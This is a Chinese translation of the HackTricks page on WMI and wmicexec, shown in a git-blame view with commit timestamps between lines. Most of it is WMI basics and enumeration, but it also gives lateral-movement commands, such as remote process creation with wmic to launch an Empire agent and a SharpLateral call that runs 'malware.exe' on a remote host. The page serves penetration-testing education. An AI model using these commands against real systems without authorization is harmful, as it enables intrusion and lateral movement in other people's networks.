hacktricks/windows-hardening/ntlm/wmicexec.md

163 lines
7.2 KiB
Markdown
Raw Normal View History

2022-08-13 23:06:40 +00:00
# WmicExec
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
</details>
2023-08-03 19:12:22 +00:00
## 它是如何工作的
2022-04-28 16:01:33 +00:00
Wmi允许在您知道用户名/(密码/哈希)的主机上打开进程。然后Wmicexec使用wmi执行每个要求执行的命令这就是为什么Wmicexec为您提供半交互式shell
**dcomexec.py:** 这个脚本提供一个类似于wmiexec.py的半交互式shell但使用不同的DCOM端点ShellBrowserWindow DCOM对象。目前它支持MMC20. Application, Shell Windows和Shell Browser Window对象。来自[这里](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## WMI基础
2021-01-20 17:41:14 +00:00
2023-08-03 19:12:22 +00:00
### 命名空间
2021-01-20 17:41:14 +00:00
WMI被划分为类似目录的层次结构\root容器以及\root下的其他目录。这些“目录路径”被称为命名空间。\
2023-08-03 19:12:22 +00:00
列出命名空间:
2021-01-20 17:41:14 +00:00
```bash
#Get Root namespaces
gwmi -namespace "root" -Class "__Namespace" | Select Name
#List all namespaces (you may need administrator to list all of them)
Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace
#List namespaces inside "root\cimv2"
Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace
```
列出命名空间的类别使用:
2021-01-20 17:41:14 +00:00
```bash
gwmwi -List -Recurse #If no namespace is specified, by default is used: "root\cimv2"
gwmi -Namespace "root/microsoft" -List -Recurse
```
2023-08-03 19:12:22 +00:00
### **类**
2021-01-20 17:41:14 +00:00
WMI 类名例如win32\_process是任何 WMI 操作的起点。我们始终需要知道类名和它所在的命名空间。\
列出以 `win32` 开头的类:
2021-01-20 17:41:14 +00:00
```bash
Get-WmiObject -Recurse -List -class win32* | more #If no namespace is specified, by default is used: "root\cimv2"
gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*"
```
2023-08-03 19:12:22 +00:00
调用一个类:
2021-01-20 17:41:14 +00:00
```bash
#When you don't specify a namespaces by default is "root/cimv2"
Get-WmiObject -Class win32_share
Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus
```
2023-08-03 19:12:22 +00:00
### 方法
2021-01-20 17:41:14 +00:00
WMI 类包含一个或多个可以执行的函数。这些函数被称为方法。
2021-01-20 23:53:30 +00:00
```bash
#Load a class using [wmiclass], leist methods and call one
$c = [wmiclass]"win32_share"
$c.methods
#Find information about the class in https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-share
$c.Create("c:\share\path","name",0,$null,"My Description")
#If returned value is "0", then it was successfully executed
```
```bash
#List methods
Get-WmiObject -Query 'Select * From Meta_Class WHERE __Class LIKE "win32%"' | Where-Object { $_.PSBase.Methods } | Select-Object Name, Methods
#Call create method from win32_share class
Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0)
```
## WMI 枚举
2021-01-20 17:41:14 +00:00
### 检查 WMI 服务
2021-01-20 17:41:14 +00:00
这是您检查 WMI 服务是否正在运行的方法:
2021-01-20 17:41:14 +00:00
```bash
#Check if WMI service is running
Get-Service Winmgmt
Status Name DisplayName
------ ---- -----------
Running Winmgmt Windows Management Instrumentation
#From CMD
net start | findstr "Instrumentation"
```
2023-08-03 19:12:22 +00:00
### 系统信息
2021-01-20 17:41:14 +00:00
```bash
2023-08-03 19:12:22 +00:00
Get-WmiObject -ClassName win32_operatingsystem | select * | more
2021-01-20 17:41:14 +00:00
```
2023-08-03 19:12:22 +00:00
### 进程信息
```bash
Get-WmiObject win32_process | Select Name, Processid
```
从攻击者的角度来看WMI 在枚举有关系统或域的敏感信息方面非常有价值。
2022-08-13 23:06:40 +00:00
```
2023-08-03 19:12:22 +00:00
wmic computerystem list full /format:list
wmic process list /format:list
wmic ntdomain list /format:list
wmic useraccount list /format:list
wmic group list /format:list
wmic sysaccount list /format:list
```
2023-08-03 19:12:22 +00:00
```bash
Get-WmiObject Win32_Processor -ComputerName 10.0.0.182 -Credential $cred
```
## **手动远程WMI查询**
例如以下是一种非常隐秘的方法用于发现远程计算机上的本地管理员注意domain是计算机名称
{% code overflow="wrap" %}
2023-08-03 19:12:22 +00:00
```bash
wmic /node:ordws01 path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"ORDWS01\"")
```
```markdown
另一个实用的单行命令是查看谁登录了机器(当你在寻找管理员时):
```
```bash
2023-08-03 19:12:22 +00:00
wmic /node:ordws01 path win32_loggedonuser get antecedent
2022-08-13 23:06:40 +00:00
```
`wmic` 甚至可以从文本文件中读取节点,并在所有节点上执行命令。如果你有一个工作站的文本文件:
```
2023-08-03 19:12:22 +00:00
wmic /node:@workstations.txt path win32_loggedonuser get antecedent
```
**我们将通过WMI远程创建一个进程来执行Empire代理**
2021-01-03 18:40:02 +00:00
```bash
2023-08-03 19:12:22 +00:00
wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire launcher string here**"
```
我们看到它成功执行ReturnValue = 0。一秒钟后我们的Empire监听器捕获到了它。注意进程ID与WMI返回的是相同的。
2022-04-28 16:01:33 +00:00
所有这些信息都是从这里提取的:[https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
2022-04-28 16:01:33 +00:00
## 自动化工具
2022-04-28 16:01:33 +00:00
* [**SharpLateral**](https://github.com/mertdas/SharpLateral):
2022-04-28 16:01:33 +00:00
{% code overflow="wrap" %}
```bash
SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
```
```markdown
{% endcode %}
<details>
2022-04-28 16:01:33 +00:00
<summary><strong>从零到英雄学习AWS黑客攻击通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
</details>
```